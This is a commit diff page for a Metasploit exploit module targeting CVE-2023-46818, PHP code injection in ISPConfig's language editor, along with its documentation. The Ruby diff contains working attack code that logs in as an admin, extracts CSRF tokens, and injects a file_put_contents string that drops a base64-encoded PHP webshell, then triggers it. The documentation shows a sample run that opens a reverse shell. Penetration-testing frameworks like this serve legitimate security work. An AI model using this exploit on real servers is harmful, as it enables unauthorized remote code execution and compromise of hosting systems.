Skip to content

Commit 840ae0f

Browse files
committed
resolved: issues
1 parent 016f4ea commit 840ae0f

File tree

2 files changed

+57
-21
lines changed

2 files changed

+57
-21
lines changed

documentation/modules/exploit/linux/http/ispconfig_lang_edit_php_code_injection.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
## Vulnerable Application
22

3-
ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the `admin_allow_langedit` option is enabled. An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server.
3+
ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the
4+
`admin_allow_langedit` option is enabled.
5+
An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server.
46

57
- Vendor Advisory: https://www.ispconfig.org/
68
- CVE: [CVE-2023-46818](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
@@ -30,9 +32,6 @@ The ISPConfig administrator username to authenticate with.
3032
### PASSWORD
3133
The ISPConfig administrator password to authenticate with.
3234

33-
### TARGETURI
34-
The base path to ISPConfig (default: `/`).
35-
3635
### LOGIN_TIMEOUT
3736
Timeout for login request (default: 15 seconds).
3837

@@ -54,7 +53,7 @@ password => adminpass
5453
msf6 exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run
5554
5655
[*] Started reverse TCP handler on 192.168.1.1:4444
57-
[*] Running automatic check ("set AutoCheck false" to disable)
56+
[*] Running automatic check ('set AutoCheck false' to disable)
5857
[+] ISPConfig installation detected
5958
[*] Attempting login with username 'admin' and password 'adminpass'
6059
[+] Login successful!
@@ -75,4 +74,4 @@ Linux ubuntu 5.15.0-52-generic #58~20.04.1-Ubuntu SMP Thu Oct 13 13:09:46 UTC 20
7574
## Notes
7675
- The module requires valid ISPConfig admin credentials and the `admin_allow_langedit` option enabled.
7776
- The shell is removed after exploitation if `DELETE_SHELL` is true.
78-
- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access.
77+
- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access.

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 52 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,8 @@ def initialize(info = {})
2020
},
2121
'License' => MSF_LICENSE,
2222
'Author' => [
23-
'syfi' # Discovery and PoC
23+
'syfi', # Discovery and PoC
24+
'Egidio Romano'
2425
],
2526
'References' => [
2627
['CVE', '2023-46818'],
@@ -67,6 +68,39 @@ def check
6768
'uri' => normalize_uri(target_uri.path, 'login')
6869
})
6970
return CheckCode::Unknown unless res
71+
72+
# Try to log in and parse version if credentials are provided
73+
if datastore['USERNAME'] && datastore['PASSWORD']
74+
login_res = send_request_cgi({
75+
'method' => 'POST',
76+
'uri' => normalize_uri(target_uri.path, 'login'),
77+
'vars_post' => {
78+
'username' => datastore['USERNAME'],
79+
'password' => datastore['PASSWORD'],
80+
's_mod' => 'login'
81+
},
82+
'keep_cookies' => true
83+
})
84+
if login_res && (login_res.headers['Location']&.include?('admin') || login_res.body.downcase.include?('dashboard'))
85+
# Try to access the dashboard or settings page
86+
settings_res = send_request_cgi({
87+
'method' => 'GET',
88+
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
89+
'keep_cookies' => true
90+
})
91+
if settings_res
92+
doc = settings_res.get_html_document
93+
# Try to find version in a span, div, or similar element
94+
version_text = doc.text[/ISPConfig\s*v?(\d+\.\d+(?:\.\d+)?(?:p\d+)?)/i, 1]
95+
if version_text
96+
print_good("ISPConfig version detected: #{version_text}")
97+
return CheckCode::Appears("Version: #{version_text}")
98+
end
99+
end
100+
end
101+
end
102+
103+
# Fallback to the previous check
70104
if res.body.include?('ISPConfig') && (res.body.include?('login') || res.body.include?('username') || res.body.include?('password'))
71105
print_good('ISPConfig installation detected')
72106
return CheckCode::Detected
@@ -87,10 +121,16 @@ def authenticate
87121
'keep_cookies' => true
88122
})
89123
fail_with(Failure::NoAccess, 'Login request failed') unless res
124+
if res&.code == 302
125+
res = send_request_cgi({
126+
'method' => 'GET',
127+
'uri' => normalize_uri(target_uri.path, 'login/',res&.headers.fetch('Location',nil))
128+
})
129+
end
90130
if res.body.match(/Username or Password wrong/i)
91131
fail_with(Failure::NoAccess, 'Login failed: Invalid credentials')
92132
end
93-
if res.headers['Location'] && res.headers['Location'].include?('admin') ||
133+
if res.headers.fetch('Location',nil)&.include?('admin') ||
94134
res.body.downcase.include?('dashboard')
95135
print_good('Login successful!')
96136
return true
@@ -102,8 +142,7 @@ def authenticate
102142
def inject_payload
103143
print_status('Injecting PHP payload...')
104144
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
105-
php_payload = payload.encoded
106-
injection = "'];file_put_contents('#{@payload_file}','<?php #{php_payload} ?>');die;#"
145+
injection = %<'];file_put_contents('#{@payload_file}',base64_decode('#{Base64.strict_encode64(payload.encoded)}');die;#"
107146
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
108147
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
109148
initial_data = {
@@ -118,13 +157,12 @@ def inject_payload
118157
'keep_cookies' => true
119158
})
120159
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
121-
csrf_id_match = res.body.match(/_csrf_id" value="([^"]+)"/)
122-
csrf_key_match = res.body.match(/_csrf_key" value="([^"]+)"/)
123-
unless csrf_id_match && csrf_key_match
160+
doc = res.get_html_document
161+
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
162+
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
163+
unless csrf_id && csrf_key
124164
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
125165
end
126-
csrf_id = csrf_id_match[1]
127-
csrf_key = csrf_key_match[1]
128166
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
129167
injection_data = {
130168
'lang' => 'en',
@@ -155,7 +193,7 @@ def trigger_payload(payload_url)
155193
'uri' => payload_url,
156194
'keep_cookies' => true
157195
})
158-
if res && res.code == 200
196+
if res&.code == 200
159197
print_good('PHP payload triggered successfully')
160198
else
161199
print_warning('Payload trigger response was unexpected')
@@ -181,11 +219,10 @@ def cleanup
181219
'keep_cookies' => true
182220
})
183221
return unless res
184-
csrf_id_match = res.body.match(/_csrf_id" value="([^"]+)"/)
185-
csrf_key_match = res.body.match(/_csrf_key" value="([^"]+)"/)
186-
return unless csrf_id_match && csrf_key_match
187-
csrf_id = csrf_id_match[1]
188-
csrf_key = csrf_key_match[1]
222+
doc = res.get_html_document
223+
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
224+
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
225+
return unless csrf_id && csrf_key
189226
injection_data = {
190227
'lang' => 'en',
191228
'module' => 'help',

0 commit comments

Comments
 (0)